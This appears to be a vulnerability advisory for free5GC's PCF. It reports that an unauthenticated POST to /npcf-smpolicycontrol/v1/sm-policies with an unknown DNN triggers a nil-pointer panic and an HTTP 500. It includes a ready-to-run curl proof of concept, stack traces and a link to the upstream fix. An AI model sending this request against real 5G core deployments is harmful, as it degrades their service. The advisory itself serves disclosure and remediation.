free5GC's PCF npcf-smpolicycontrol POST /sm-policies panics on downstream UDR/OpenAPI 404 via nil pointer dereference
Summary
free5GC's PCF POST /npcf-smpolicycontrol/v1/sm-policies handler (HandleCreateSmPolicyRequest) panics with a nil-pointer dereference when a downstream OpenAPI consumer call (UDR lookup) returns 404 Not Found and the consumer wrapper returns err != nil together with a nil response struct. The handler logs the OpenAPI error and continues executing instead of returning, then dereferences the nil response struct on a subsequent line and panics. Gin recovery converts the panic into HTTP 500, so a single attacker-shaped POST returns 500 instead of a clean 4xx whenever the downstream lookup fails. The PCF process keeps running.
The trigger is a single POST containing input that causes the downstream UDR lookup to fail (e.g. an unknown DNN). In v4.2.1 this endpoint is also reachable WITHOUT an Authorization header because the PCF Npcf_SMPolicyControl route group is mounted without inbound auth middleware (see free5gc/free5gc#844). So in the validation lab the trigger is fully unauthenticated.
Details
Validated against the PCF container in the official Docker compose lab.
- free5GC version:
v4.1.0 (originally reported on v4.1.0; same defect present in v4.2.1) - PCF endpoint:
http://10.100.200.9:8000
Vulnerable handler path (paraphrased from the captured stack trace):
```
[INFO][PCF][SMpolicy] Handle CreateSmPolicy
[ERRO][PCF][Consumer] openapi error: 404, Not Found
[ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference
github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandleCreateSmPolicyRequest
/go/src/free5gc/NFs/pcf/internal/sbi/processor/smpolicy.go:82 +0x562
github.com/free5gc/pcf/internal/sbi.(*Server).HTTPCreateSMPolicy
/go/src/free5gc/NFs/pcf/internal/sbi/api_smpolicy.go:86 +0x405
```
The handler's UDR-failure branch logs the OpenAPI error but does not return; the next line dereferences the nil response struct.
Code evidence (paths in free5gc/pcf):
- Panic site:
NFs/pcf/internal/sbi/processor/smpolicy.go:82- Route dispatch:
NFs/pcf/internal/sbi/api_smpolicy.go:86
PoC
Reproduced end-to-end against the running PCF at http://10.100.200.9:8000.
Send a single POST whose dnn is unknown to UDR -- this drives the downstream OpenAPI call to return 404 Not Found, which then triggers the nil-deref panic:
```
curl -sS -X POST 'http://10.100.200.9:8000/npcf-smpolicycontrol/v1/sm-policies' \
-H 'Content-Type: application/json' \
-d '{
"supi":"imsi-208930000000003",
"pduSessionId":1,
"dnn":"internet-bad",
"sliceInfo":{"sst":1,"sd":"010203"},
"servingNetwork":{"mcc":"208","mnc":"93"},
"accessType":"3GPP_ACCESS",
"notificationUri":"http://smf.free5gc.org:8000/npcf-smpolicycontrol/v1/notify"
}'
```
Observed response: HTTP 500 Internal Server Error with empty body.
PCF container logs show:
```
[INFO][PCF][SMpolicy] Handle CreateSmPolicy
[ERRO][PCF][Consumer] openapi error: 404, Not Found
[ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference
...HandleCreateSmPolicyRequest at smpolicy.go:82...
```
The Gin recovery middleware catches the panic (the captured stack trace runs inside ginRecover.func2.1), so the PCF process keeps serving other requests; the realized impact is per-request HTTP 500 on this endpoint whenever the downstream lookup fails.
Impact
NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the UDR-failure branch logs the OpenAPI error but does not return, then dereferences the nil response struct. The intended behavior is to return a controlled 4xx/5xx ProblemDetails and stop processing.
Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any unauthenticated POST that drives the downstream UDR lookup to a 404 returns HTTP 500 (with empty body and a stack trace in PCF logs) instead of a controlled error response.
No Confidentiality impact (the response is 500 with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation. The endpoint remains reachable to unauthenticated attackers via the route-group auth gap separately tracked in free5gc/free5gc#844.
Affected: free5gc v4.2.1 (originally reported against v4.1.0; same defect present).
Upstream issue: https://github.com/free5gc/free5gc/issues/803
Upstream fix: https://github.com/free5gc/pcf/pull/62
